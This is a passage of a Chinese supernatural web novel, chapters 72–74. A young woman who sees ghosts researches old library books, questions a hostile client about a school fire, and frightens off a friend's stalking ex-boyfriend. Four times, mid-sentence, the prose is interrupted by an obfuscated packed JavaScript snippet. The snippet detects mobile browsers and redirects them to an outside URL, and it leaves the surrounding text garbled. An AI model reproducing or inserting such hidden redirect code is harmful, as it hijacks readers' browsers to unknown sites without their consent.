图书管理员说，“这些书应该被放在五楼西南角那边的书架上，但是说实话，这种类型的书，过了这么多年，恐怕不太好找……” 纪明霜点头，“嗯嗯，没关系的，谢谢你。” 图书管理员笑着说，“不客气。” 接下来的时间，从上午到中午，纪明霜和林然一起寻找，大概找了三个小时左右，仍然一无所获，一本都没找着，纪明霜说，“该不会借书的人把书借走之后就再也没还吧……这也太缺德了吧。” 林然说，“还有另一种可能，这些书被标记为古籍，所以不再对外开放。” 纪明霜：“确实有可能啊……咦，已经快到一点了，我说呢，怪不得我这么饿，我们先去吃午饭吧。” 午饭时间，纪明霜一边等着出餐，一边看手机，阿依刚刚吃完饭，正在酒店里午休，看到纪明霜在群里冒泡，她把今天的见闻在小群里仔仔细细地说了一遍。 晚安（阿依）：纪姐，我们今天早上九点左右就到了那个委托人家，但我们敲了半天门，都没有人来开门，我们还以为是走错了呢，又核对了一遍地址，地址也没错啊。高大师给委托人打了电话，他也不接，我们寻思着，反正没吃早饭，那就先去吃吧，吃完之后，那个委托人回电话了，我们之前没找错，他让我们赶紧过去，他的语气挺着急的，我们就赶紧过去了。 晚安（阿依）：说实话，感觉那个人挺没礼貌的，我们过去帮忙，不收他一分钱，酒店、专车还有游轮，都是高大师出的钱，结果他还那副犹犹豫豫不肯多说的态度，他只说是他遇到了脏东西，但是徐阳真的没看到什么脏东西啊！ 早安（徐阳）：就是，我涂了那个药水，仔细看了好久呢，真的没有看到，他坚持说有鬼，搞得我都有点动摇了…… 晚安（阿依）：我也听说过有鬼会隐藏自己什么的，但是高大师也说，不像是有鬼啊，真是奇怪。 霜（纪明霜）：等等，酒店和专车我可以理解，但是……游轮？ 人生如茶（高大师）：小纪，到时候你要不要来，游轮的船票也不贵，虽然坐久了也挺无聊的，但偶尔吹吹风，看看江景，再吃点当地特色菜也不错。 人生如茶（高大师）：憨笑.jpg 看到这里，说不羡慕是假的，徐阳和阿依的工作轻松，包吃包住，还能到处玩，高大师心情好了，还会发红包，很多很多的红包，谁要是运气不好，拼手气红包拿的钱少，高大师还会慷慨地补发几个专属红包。 据阿依说，最开始的时候，阿依也不好意思花别人的钱，用别人的东西，拿别人的红包，但是，时间长了，她就习惯了，因为高大师是真的不在乎这些，只要他不败家，钱根本花不完，这些也只是小钱，对于他来说，这是很省钱的爱好。 霜（纪明霜）：谢谢高大师，不过不用啦，说起来，然后呢，你们一上午都去做什么了？ 早安（徐阳）：然后也没做什么了，我们大概十点钟到他家，十一点钟从他家出来，然后我和阿依回酒店吃午饭，我师父去买点特产和纪念品送他女儿。 晚安（阿依）：徐阳，你都不说重点的吗，主要是那个人，给我的感觉很不好呢……他的脸都是黑的，黑眼圈特别重，他家里不拉开窗帘，也不开灯，特别暗，而且特别脏，垃圾乱丢，满地都是。他还经常左看右看的，就好像有谁在偷窥他一样，但徐阳是真的没看到什么，而且我们也验证过了，药水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508315|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没问题的啊。 晚安（阿依）：他经常走神，嗯，和他说话也很麻烦，一件事要问好几遍，然后他的回答也磕磕绊绊的，我都怀疑是不是他的精神有问题。 霜（纪明霜）：这样啊…… 晚安（阿依）：我们是过去帮他的，他的态度真的好差，只不过问了几个问题而已，他突然就开始赶人了，我们问他，要不我们下午再来吧，他让我们明天上午再过去，他的语气好凶啊，我们能怎么办啊，只能去逛街买东西了。 晚安（阿依）：我还预约了美甲哦。 晚安（阿依）：（图片） 晚安（阿依）：纪姐，帮我挑挑吗，到底是哪个图案更好看一些呢？ 霜（纪明霜）：第二排左一。 晚安（阿依）：太好啦，我也觉得这个好看！ 早安（徐阳）：好眼光！ 高大师不语，只是一味地发红包，不多，十个而已，纪明霜运气不错，拿到大概八百块左右，嗯，再凑四百块的话，就可以预订一间江景房了。 下午，纪明霜咨询了图书管理员，但纪明霜只是一个普通的公司职员，是没有办法去图书馆的古籍馆的，没办法，纪明霜给靳尤白打去电话，靳尤白联系了一位树莓大学的教授，教授说纪明霜是她的一位学生，就这样，纪明霜拿到一张有效期三天的临时借阅证，图书馆的工作人员说，古籍馆里的书是不能外借的，纪明霜只能看书。 就这样，纪明霜终于找到了三本书中的一本——《树莓民俗研究之祭祖篇》，这是一整套书籍，一共有十二本，都是普通的线装手抄本，可惜的是，书里没有借阅信息，也没有什么有用的线索，纪明霜有些失望，忙了这么久，不会一无所获吧。 纪明霜又翻了同系列的另外十一本书，终于在《树莓民俗研究之嫁娶篇》里，找到了一些线索。 书里夹着几张奇怪的纸条，纸条上的内容很乱，这些字迹都极为潦草，显示出书写者当时难以平静的心绪，纪明霜对比了字迹，这些字迹和手记作者的字迹极为相似，凭着她对手记作者字迹的了解，她勉强认出了部分的文字。 不对，不对，我怎么也想不明白，到底是哪里出错了呢……应该是有用的啊，这可是我从…… 原来如此，绝对不能有差错，虽然一直失败，但我感觉，已经接近成功了…… 最后，我才明白，原来是月光的原因……穿过玻璃的月光是没用的，我应该把把块玻璃敲碎。 阵法有用，但对小真没用，这条路也行不通……我对不起小真，如果‘那东西’不在小真身上就好了，如果小真出事，我也不想再活下去了…… ……今天收到了意外的消息，小真看上去很高兴，我却只能强颜欢笑，我不想失去小真，无论付出怎样的代价，我都不在乎。 明明连名字已经想好了，那时，我真的很期待那个孩子的降生……但是现在，作为父亲，我居然期待着那个孩子会死掉，就当是为了小真的生命，无论如何，无论如何…… 我该怎么办，我看不出来，到底是哪一个……瞒不住的，瞒不住的，天哪，至少给她留下一个…… ……不然，小真要怎么活下去呢？ 72. 第72章 轮椅 纪明霜默默地把纸条收了起来。 没想到会有这样的意外收获。 接下来的时间，纪明霜继续翻看着这里的古籍，中途出去吃了个饭，回来继续翻书，直到闭馆为止，一直都在工作，却没什么收获。 这里的书实在是太多了，这些古籍又很脆弱，她只能尽量小心地仔细翻看。 虽然林然上了她的身，帮她翻了很久的书，但她的身体还是很累啊，胳膊酸，手腕酸，脖子也很酸。 离开图书馆的时候，天色已经完全暗下来了，纪明霜回到了宾馆，躺在冷冰冰的床上，整理着收集到的信息，这时，她的手机突然响了一声，她拿起手机一看，是小敏给她发了消息。 快乐的大马猴（小敏）：纪小姐，你的事办完了吗？ 霜（纪明霜）：还没有哦。 霜（纪明霜）：咦？ 霜（纪明霜）：小敏，你的网名怎么改了啊，我记得你前几天还叫‘日富一日’啊。 快乐的大马猴（小敏）：嘿嘿！ 快乐的大马猴（小敏）：我之前跟朋友说，如果我和吱吱太太面基成功，我就把网名改成‘快乐的大马猴’，如果失败，我就把网名改成‘悲伤的肿眼蛙’。 快乐的大马猴（小敏）：所以，由此可见，我成功啦！ 霜（纪明霜）：太好啦，恭喜小敏！ 霜（纪明霜）：/欢呼/欢呼/欢呼 快乐的大马猴（小敏）：说起来，纪小姐，你明天坐哪趟车呢？ 纪明霜把她的列车车次和座位号发了过去。 快乐的大马猴（小敏）：好可惜哦，纪小姐，回程不能和你一起了。 霜（纪明霜）：这次记得给手机充电哦。 快乐的大马猴（小敏）：放心！ 快乐的大马猴（小敏）：说起来，纪小姐，你明天有什么日程吗？ 快乐的大马猴（小敏）：如果有空，一起出来吃点东西嘛。 快乐的大马猴（小敏）：我今天去了一家很不错的店，便宜又好吃！ 霜（纪明霜）：抱歉，小敏，我想我大概没有时间…… 霜（纪明霜）：明天上午，要去帮朋友的忙，明天下午，继续去图书馆。 快乐的大马猴（小敏）：咦，有什么我可以帮忙的吗？ 快乐的大马猴（小敏）：我离得很近的，有事随时联系，我就在临江区，离宾馆和图书馆都很近。 霜（纪明霜）：多谢你啦，但我明天上午要去临山区办点私事，明天下午要去树莓市立图书馆的古籍馆，有借阅证才能进去呢。 霜（纪明霜）：你都来树莓市了，就好好逛逛嘛，这里有很多不错的店呢。 快乐的大马猴（小敏）：明白了！ 快乐的大马猴（小敏）：总之，有事记得来找我哦！ 霜（纪明霜）：嗯嗯！ 第二天早上，纪明霜睡到自然醒，醒来之后，她身上还是非常酸痛，但比起昨天，至少没那么累了。 起床之后，她按照阿依在群里发的地址，找到了委托人所在的小区。 在小区门口便利店前的人行道上，有一个坐着电动轮椅的女生似乎遇到了困难，她已经无法继续前进了，因为她的轮椅总是被卡住，纪明霜走了过去，“你是想去便利店那边吗？” 那个女生看上去有点紧张，她用手指轻抚着新做的美甲，有些含糊地说，“呃……嗯。” “那我把你推过去吧。” “好、好的。” 纪明霜帮她把轮椅推了过去，卡住她的石阶距离地面只有三厘米左右，在普通人眼里连台阶都算不上的东西，走过去的时候甚至不用刻意抬脚，却足够让她在太阳底下晒了不知道多久。 “你要买什么东西吗，我去帮你买吧。”纪明霜说。 那个女生抬头看了她一眼，又再次低下头，“矿、矿泉水。” 纪明霜：“什么品牌呢，还有别的吗？” “都……都可以。” 纪明霜去便利店帮她买了一瓶水，她把水拿在手里，却没有拧开瓶盖，纪明霜说，“需要我帮忙拧开吗？” “不用了……谢谢。” 那个女生给纪明霜转了一块钱，而后，她坐着轮椅，从另一个方向离开了。 纪明霜去了委托人家里，让她有些意外的是，委托人看上去很年轻，根据阿依的描述，委托人似乎并不怎么爱干净，也不怎么讲究，纪明霜还以为他是一个不修边幅又脾气暴躁的中年大叔呢。 那个男人看到纪明霜，也露出了惊奇的神色，“那个，你好，请问，你之前是不是在树莓中学读过书？” 纪明霜点了点头，“嗯，我的初中和高中都是在树莓中学读的，你是校友吗，是哪一届的？” 两人简短地聊了聊，那个男人是纪明霜下一届的学弟，但他此时头发蓬乱，眼窝发黑，身材瘦削，精神萎靡，憔悴极了，看上去比纪明霜大了十岁都不止。 此时，他正坐在沙发上，身体低垂，双手交握，“原来是学姐啊……学姐不认识我也正常，我只在树莓中学读了高一和高二，高三的时候，我转去了杮饼中学。” 纪明霜问道，“是因为那场火灾吗？” 男人似乎想起了什么不好的回忆，“不是，不是因为这个，我是被脏东西缠上了，跟那场火灾没有关系。” 阿依问道，“火灾，什么火灾？” 徐阳对她说，“就是树莓中学特大火灾事故，当时还上了热搜呢，毕竟是全市第一的树莓中学，又是那样严重的火灾事故，受害者大多是学生……唉。” 高大师也叹息，“真是太可惜了……” 男人没有接话，似乎是不太想听，他把桌上的几个一次性纸杯扔在地上，“够了，不要再提火灾的事了，我是被脏东西缠上了，你们有没有办法帮我？” 纪明霜说，“但我在你身上没有看到什么脏东西啊……” “你到底行不行啊，你看不见，并不代表没有，我知道，‘那个东西’就在暗处盯着我……但它不想杀了我，只想折磨我……” 男人很是暴躁，每说几句话，就要把桌上的东西丢到地上，包括但不限于：不锈钢烟灰缸、搪瓷茶杯、小包装的茶叶、藤编果篮里的若干砂糖橘，砂糖橘滚落一地，他还犹嫌不够，又用脚踩了上去，大家默默地后退，防止橘子汁溅到身上。 “够了，我受够了，你们听不懂人话吗，有脏东西缠着我，你们的任务不是像盘问犯人一样问东问西，而是把那个东西彻底消灭，听明白了吗？”在桌上没有任何可摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519628|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西的时候，他的脾气也到了极限，“你们像没脑子的草鱼一样哪里有吃的就游到哪，一群穷鬼，要是事办成了，一分钱也少不了，要是事办不成，一个子儿也别想拿到！” 纪明霜看向了阿依，“……所以，你们昨天也经历了这些？” 阿依点了点头，“没错，在这里待上一个小时已经是我们的极限了，根本没办法和他正常交流。” 纪明霜问道，“但是，你的噩梦跟那场火灾真的没有关系吗，你的噩梦始于六年前，而那场火灾也是在六年前。” 男子直接掀翻了桌子，木制的桌子翻倒在地，男人粗喘着，巡视着周围的环境，寻找着能摔的东西，“够了，不要再提那场火灾！” 纪明霜说，“你才够了，我们是来帮你的，你这是什么态度，我告诉你，我也经历了那场火灾，据我所知，那天的火灾的起因是线路老化，跟灵异事件无关，但在火灾当天，确实发生了灵异事件！” 男人愣愣地看着纪明霜，“你说什么？” “我说，我们是来帮你的，不是来看你发脾气的，发脾气起不了任何作用，只会让情况变得更糟！” “不、不是，后一句。”男人的声音很是急切。 纪明霜说，“火灾当天确实发生了灵异事件，但你不是说过吗，你的噩梦与火灾无关，我想，既然如此，那就当做无关吧……” 男子的表情似哭非哭，似笑非笑，他说，“好吧……也许，我是说也许，我的噩梦跟火灾有关呢，那、那你有什么办法吗？” 阿依拉了拉纪明霜的衣袖，指了指手机，纪明霜打开手机，看到阿依在小群里发了消息。 晚安（阿依）：纪姐，你好厉害啊，他都能听懂人话了。 霜（纪明霜）：悠闲饮茶.jpg 而后，纪明霜放下手机，问道，“你叫什么名字？” 男人：“马复康。” “你是什么时候开始做噩梦的？” 马复康拿出了一份资料，大致翻了翻，道，“嗯……火灾后的第二年。” 徐阳说，“这还用翻？” 他又翻了翻资料，念道，“我经历的这些事，我已经不敢回忆了，如果我想起那一天的事，我就会开始做噩梦，这就是我在信件里说的‘情况有变’，所以，我只能这样回答问题……” 徐阳问，“那这个噩梦会传染吗？” 马复康说，“我妈也想帮我分担一些，但噩梦并不会传播，也没有办法分担，我的痛苦没有丝毫减少……” 徐阳说，“这就大可不必了，你妈一把年纪了，又何必经历这些呢。” 男人没有说话，他抬头看着纪明霜，纪明霜又问道，“火灾后的第二年，你才开始做噩梦，你为什么认为这件事跟火灾有关，火灾的那天发生了什么吗？” 男人说，“那天是高三学长学姐们的毕业典礼，我在礼堂的二楼帮忙整理仓库，但仓库里面有脏东西，我、我们都很害怕，全都跑了出去，后来，我没敢再回学校，直接转去了杮饼中学。” “你说‘你们’，你们有几个人？” 男人说，“四个，但我和另外三个人早就不联系了……” “你可以联系他们吗？” 男人坚定地说，“不行，我不愿意。” 73. 第73章 齐氏 “为什么不行，是不能还是不愿意？” 马复康说，“两者兼有，火灾发生之后，我们就失联了，我不知道他们现在怎样，我甚至都不知道他们现在是否还活着，但我也不想知道。” “能把他们的名字告诉我吗？” “不能，能不能换个话题？” “你说，仓库里有脏东西，你当时看到了什么？” 马复康沉默良久，“我……我当时什么也没看到，但我感觉到了，那是难以想象的恐怖存在……让我本能地开始战栗，我知道，如果我被它抓住，那就必死无疑。” 阿依忍不住搓了搓手臂，“真的有这么吓人吗？” 其实他说的‘难以想象的恐怖存在’、‘本能地战栗’、‘必死无疑’太过空泛，让人没什么实感，但同类惊惧难定的模样会让人不由得开始警惕，仿佛危险正在逼近。 “也就是说，你们没有碰到‘那个东西’，你们有所察觉之后，就刻意避开了它？” 马复康点点头，“是的。” “这不对啊。”徐阳小声地说，“他都已经避开了，为什么还会做噩梦呢，而且是这种程度的噩梦……” 纪明霜说，“直到目前为止，只有你一个人的描述，我无法判断噩梦的来源，而且……” 马复康说，“而且？” 纪明霜：“而且我还是保持着原有的观点，你的情况并不像是被脏东西缠上了。” 马复康的脸色涨得通红，“怎么，你这是在耍我吗，我冒着做噩梦的风险跟你说了这么多，你居然……” 高大师说，“根据我的经验，我也这么觉得。” 纪明霜说，“但我是凭感觉的，你给出的信息还不够，我还得继续调查。” 马复康暴怒起来，他癫狂地揪着自己的头发，在房子里跳来跳去，“滚，又是骗子，我最讨厌你们这些可恶的骗子，现在，从我家滚出去，都给我滚！！” 就这样，几人被赶了出去，站在门口，面面相觑，高大师说，“理论上，我应该请你们吃饭，但现在才上午十点二十，还没到饭点呢。” 阿依说，“这样吧，先请我们吃点东西，等中午了，再去吃饭。我看过旅游攻略，附近有一家很不错的店，所说店里的阿芙佳朵超级好吃。” 徐阳：“阿……阿什么？” 阿依：“阿芙佳朵。” 徐阳：“好奇怪的名字……” 阿依：“总之就是浇着浓缩咖啡的冰激凌。” 徐阳：“那不就是雪顶咖啡吗……” “哼！”阿依说，“……你现在的任务是现在叫车。” 徐阳立刻：“好的！” 到店之后，阿依点了四份阿芙佳朵，还有店里的特色甜品，阿依擓了一勺，送入口中，“哇，真好吃诶！” 纪明霜也尝了一口，又凉又甜，咖啡的苦涩中和了冰激凌的甜腻，经过深焙的咖啡豆香气浓郁，香草冰激凌却口感轻盈，真的很好吃。 徐阳也说，“我就说嘛，冬天就应该吃冰激凌！” 高大师只是象征性地尝了一口，他说，“关于那位委托人的事……你们怎么看？” 纪明霜说，“我觉得，他的情况更像是中邪、诅咒或者下降头之类的，总之是一些不好的术法。” 高大师说，“可是，现在的问题是，我总感觉他有事瞒着我们，无论如何都不肯多说。” 徐阳说，“他甚至还误导我们，我之前可没听说过火灾的事，都这个时候了，他居然还这样。” 阿依吃了一口甜品，说，“纪姐，今天早上，我们准时过去，他却没有开门，我们已经吃过早饭了，就在他家门口等着，直到他的邻居买菜回来，那位邻居阿姨跟我们讲了他的事……唉，他现在已经完全没办法工作了，而且他的脾气暴躁，爱摔东西，你也看到了，他妈妈白天给人家做保姆，接送小孩，打扫卫生，买菜做饭，晚上还要去他那里打扫卫生，送饭，挨骂……” 徐阳也说，“是啊，他什么都不说，我们也没法溯源，他这样的情况，纪大师来了都没辙。” 高大师说，“谁说不是呢。” 阿依说，“他的桌子已经换成木桌了，桌上的东西也都是摔不坏的，他妈还给他买了砂糖橘……结果都被他踩坏了。邻居阿姨说，偶尔看到他妈妈流着眼泪从他家走出来……” 众人一时沉默。 高大师说，“算了，我们也没办法，小纪，你来都来了，下午跟徐阳他们一起去游轮上玩吧。” 纪明霜摇摇头，“多谢您了，但我下午要去树莓市立图书馆，晚上就要坐动车回去了，我明天还要去上班呢。说起来，你们呢，接下来准备干什么？” 徐阳说，“反正也帮不上忙，在这边玩一圈，我们也回去了。” 高大师说，“徐阳，你看看人家的思想觉悟，人家出外勤还不忘学习呢！” “师父，差不多得了，我也不是那块材料啊。”徐阳说，“况且，活到老，学到老，师父，你也去进修进修呗。” “我老了，眼睛花了，学不动喽！” 徐阳：“是啊，不能坐上游轮，因为太无聊了，不能去图书馆，因为太麻烦了，在江边钓鱼就刚刚好，对吧！” 高大师笑呵呵地说，“那当然了，冬天最适合钓鱼了，小鱼不闹窝，大鱼不挣扎，围观的人也少，空军也没关系，哈哈！” 徐阳：“哼。” 中午，纪明霜吃到了丰盛的大餐，下午，她又去了图书馆，今天总算是有收获了。 在《树莓通志》里，林然找到一张关于齐氏世系的手写记录，经过纪明霜的确认，确实是手记作者的笔迹，纪明霜把这张纸收了起来。 这些应该是手记的作者随手夹进书里，但忘记拿出来的随笔。 这些字迹实在是太难懂了，要不是纪明霜偶尔会阅读那本手记，她也认不出这些鬼画符。 就算如此，仍有很多看不出是文字的、类似符号的东西，纪明霜也难以破译。 而后，纪明霜回宾馆退了房，临走的时候，那只倒挂的女鬼仍在前台小姐的上空虚虚地浮着，它看起来似乎透明了一点。 纪明霜坐上了回程的动车，坐在座位上，她戴上耳机，有一搭没一搭地跟林然聊着天，并愉快地玩着消消乐，下车之后，她打车回了灰灰公寓，宾馆的床并不舒服，此时，她无比想念她温暖而舒适的小床，还有她心爱的抱枕，然而，令她意外的是，许远居然等在她家的门口。 纪明霜看着许远，还有楼道地面上放着的半袋饼干，一瓶矿泉水，真的无话可说。 谁会三次突然造访前女友的朋友家啊？ 这也太奇怪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525510|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 纪明霜觉得，靳尤白唯一的缺点就是，找男朋友的眼光实在是太差了。 虽然理解靳尤白想找个长得好看的男朋友的心情，但是也不能只看脸吧，前前一任是这样，前一任，嗯，就是许远，也是这样。 “你怎么又来啊……”纪明霜提着包包走了过去，“要不你赶紧走吧，我今天真的好累，我明天还要去上班。” 许远幽幽地抬起头，“你不请我进去喝杯茶吗？” “我家没有茶水。”纪明霜看了一眼地上的那瓶没开封的矿泉水，“而且你不是有水喝吗？” 许远说，“尤白就要回国了，但她没有联系我。” “但她也没有联系我啊……”纪明霜拿出手机看了一眼，顿时不说话了。 因为靳尤白确实联系她了，但她当时正准备下车，没有及时查看消息。 举头望明月（靳尤白）：霜霜，过几天我就要回国了。 举头望明月（靳尤白）：但我有事要忙，暂时没时间过去看你…… 举头望明月（靳尤白）：我买了一点手工糖果、手工香皂，还有青草护手霜！ 举头望明月（靳尤白）：（图片） 纪明霜点开图片看了一眼，嗯，不止一点，各种各样的包装袋，堆得满床都是。 而后，是几张当地特色服装的照片，靳尤白和纪明霜的身材差不多，就帮忙试了试。 举头望明月（靳尤白）：小霜，感觉这三套都蛮适合你的呢…… 举头望明月（靳尤白）：要不，我都买走吧。 霜（纪明霜）：但我更喜欢方便通勤的衣服呢。 举头望明月（靳尤白）：那我再给你挑点日常系的衣服。 霜（纪明霜）：我不是这个意思…… 举头望明月（靳尤白）：没关系，这三套我已经买走了。 举头望明月（靳尤白）：好想你穿给我看看啊，嘿嘿。 霜（纪明霜）：好吧，谢谢你啦！ 举头望明月（靳尤白）：快乐小狗.jpg 纪明霜放下手机，许远正倚墙而立，神色冰冷地看着她，“怎么样？” 纪明霜说，“嗯……但她确实是遇到了很棘手的麻烦，直到现在都没有解决。” 许远说，“哦，是指在水上神庙遇到前来搭讪的正在出国旅游的男大学生吗？” “你也太紧张了吧。”纪明霜说，“她只是碰巧在国外遇到了同校的校友，多聊了几句而已。” “哦，是吗？” “嗯……大概是这样。”纪明霜说，“不过，你是怎么知道这些的，她最近又没发动态。” 许远说，“你别管，我有我的消息渠道，所以说，在她眼里，我还不如你吗？” “真是莫名其妙的胜负欲和占有欲，她也有自己的社交圈。”纪明霜说。 “那是因为我很在乎她。” “你们才谈了多久啊，还没到一往情深、痴心不改的地步吧，况且你们没分手的时候，她对你也不错啊，送钱又送礼物，你要是实在不忿，让她给你打点钱吧。” “我们还没分手，我根本就没同意，她不能自作主张！” “哦，是吗？”纪明霜打开了门，“那就这样吧，我要休息了。” 许远抓住了她的手腕，“等等！” 74. 第74章 跟踪 纪明霜把他的手甩开，“够了，许远，你是怎么知道她的事的，她现在远在国外，难道你找人跟踪了她？” “那又怎么样，她是我的女朋友，为了她，我愿意付出一切，包括生命，这点小事算什么？” “别一厢情愿了，她都没把你正式介绍给我，别说结婚，她连和你长期发展的意愿都没有。” “呵呵……”许远的表情变得扭曲，原本清秀帅气的面容透出些戾气，“她凭什么这么对待我，凭什么践踏我的真心，玩弄人心的渣女，有钱就了不起吗？” 林然就站在一旁看着，“你何必激怒他呢……直接动手就好了。” 纪明霜看着许远通红的眼，“因为我想听听他的想法，我想知道他是不是真的不可救药了……” “我的想法？”许远咬牙切齿地笑着，“对啊……我想亲口告诉她的那句话就是——我希望她死掉！” 纪明霜：“哦，还有吗？” 许远：“什么？” “我的意思是说，你们的事就到此为止吧，至于她当时说的‘好好谈谈’，说实话，已经没什么好谈的了。” “谁要你多管闲事，你跟她多说一句试试！” 纪明霜的表现却格外冷静，“她确实遇到了麻烦，所以我改变了想法，我希望你不要去打扰她。” “凭什么，你算什么东西？” 纪明霜：“大概是因为，这里算是我的主场吧……” 她隔壁的隔壁住着四只鬼，因为她偶尔会给他们供奉一些食物，所以他们也很乐意帮她办事。 其中三只鬼都保留着相对完整的意识，而且都有战绩，只有保安小哥的灵魂受到了影响，显得有点呆，但他变身成为吸尘器时的模样确实很吓人，要知道，就连周可音都不敢直面这四只鬼，更何况是许远。 意识到纪明霜的轻慢，许远非常恼怒，他飞身扑过去，想掐她的脖颈，但纪明霜比他更快，她把小瓶子里的液体倒在了他的脸上，许远当时正张着嘴，有些液体落入了他的口中，他连忙把纪明霜推开，把嘴里的液体吐了出来。 脸上和嘴里没有灼痛的感觉，应该不是什么腐蚀性强的液体，但味道很奇怪，让他几欲作呕，他跪在地上，徒劳地张大了嘴，抑制不住地干呕，“里、里给我喂了石磨……” 这个味道，又难闻，又刺鼻，让他感觉很不好，这到底是什么液体，应该不会有毒吧！ 纪明霜没有理会他，她从包包里拿出一个洋娃娃，对着空气说，“过来。” “嗯。” 低头干呕的许远睁大了眼，不对，怎么回事，他听到一个男生的声音，他打听过了，这一层的住户只有纪明霜一个，怎么会有别人的声音？ 而且，是他的错觉吗，这个声音，他听过的，就在那个反复播放的视频里，那个让他钦羡又嫉恨的人——林然。 怎么可能呢，林然六年前就已经死了！ 然而，没等他抬起头来，他就看到了一双青色的、不安地蹭来蹭去的小脚，那一瞬间，许远心里的压抑、恼怒、憎恨瞬间消失了，他简直不敢相信自己的眼睛，这是……小孩子？ 哪里来的小孩子，怎么会突然出现在这里？ 而且，小孩子的皮肤颜色怎么会这么奇怪，它的脚上甚至还有深紫色的根根血管和接近黑色的脚趾甲。 许远愣愣地抬起头来，一个眼眶里黑洞洞的小男孩正在歪着头吃手，许远惊恐的尖叫声划破了夜空，“鬼啊——” 小陈哥从隔壁房间探出头来，“谁啊，这么吵？” 许远瞪大了双眼，惊恐地看着穿墙而出的面色暗沉眼下青灰的虚胖男子，两眼一翻就要晕倒，就在这时，他看到一个穿着保安制服的年轻男人，他立马连滚带爬地靠了过去，“保安，保安，你能看到的吧，这、这里有鬼啊！” 然而，那个看上去不太聪明的保安只是安静地看着他，一句话也不说，许远是想躲在保安的身后的，但那个保安似乎是被他的动作吓到了，后退了一步，他扑了个空。 一个女鬼飘了出来，“你们在干什么，就留下我一个，赶紧回来继续打麻将啊！” 许远尖叫着往保安小哥身后躲去，保安小哥被他的动作吓到了，于是，他变身了。 他慢慢地倒立过来，他的颈部一半嵌入了头部，另一半已完全崴断，他的头部着地，双眼暴突，眼珠似乎随时都会滚落地上，但它的双眼仍在转动，它张开嘴，长长的血色舌头流出来，伴随着滴滴答答的血滴，它看纪明霜一眼，看小陈哥一眼，又看了许远一眼，“呃……啊。” 许远脸上的血色已完全褪尽，此时的他看起来比小陈哥更像鬼，就在这时，电梯的门打开了，兼职保安小哥从电梯里走了出来，“怎么回事，我正巡视呢，突然听到有人在尖叫。” 许远站了起来，朝着另一边的楼梯跑了过去，兼职保安小哥挠了挠头，“他这是怎么回事，怎么见了我就跑？” 纪明霜不想吓到他，于是张口就来，“没办法，他负责教小孩做作业，这不，才两个小时，他就已经完全崩溃了。” 兼职保安小哥跟着叹了口气，“唉，我爸也是，他帮我哥带小孩，结果你猜怎么着，我爸之前就是比较文艺范儿，嗯，读的都是什么《百年孤独》、《悲惨世界》，他自告奋勇帮忙辅导小孩做作业，时间不长，也就三个月，考试成绩下来，满分一百分，小孩考了十三分，我爸受不了打击，高血压晕倒，送医院去了……” 纪明霜：“天哪，怎么会这样，那他还好吗？” “还好，还好，没有生命危险，就是醒了之后，说什么都不愿意回我哥家了。我哥都说了，接他回家养老，不用辅导小孩，但我爸不听啊。出院之后，他就不读名著了，他下了个小说软件，每天读的书大概就是：上一世，我给孙子辅导功课，孙子高考总分却只有一百二十三分，这一世，我摆烂了，辅导功课？可去你的吧！重生一世，我不再干预，结果这个龟孙的高考总分还是一百二十三分，我草，那我吃的苦算什么，算我嘴馋吗？” 纪明霜：“噗……” 林然：“这……” 兼职保安小哥耸了耸肩，“所以，我非常能理解那哥们的心情，他跑得还蛮快的，要是我爸当时也能跑得这么快就好了……我爸摔倒之后，想直接爬出屋门，但他已经没力气了，他在沙发上躺下缓缓，不知我侄子又说了什么，他听了之后心如死灰，两眼一闭，彻底晕倒，不省人事。” 纪明霜：“……” 送走了兼职保安小哥之后，纪明霜去了楼下方婆婆那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531727|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，把小黑猫接了回来。 嗯，两天不见，小黑猫没什么变化，依然和她不熟，依然非常能吃，依然非常可爱，不过，它似乎胖了一点，它眼睛的蓝膜也褪去一点，它的眼睛似乎是黄色的？ 纪明霜非常好心情地给小黑猫拍了照片，并发了动态，小饼第一时间给她点了赞，并私聊了她。 努力工作（小饼）：/可爱 霜（纪明霜）：/可爱 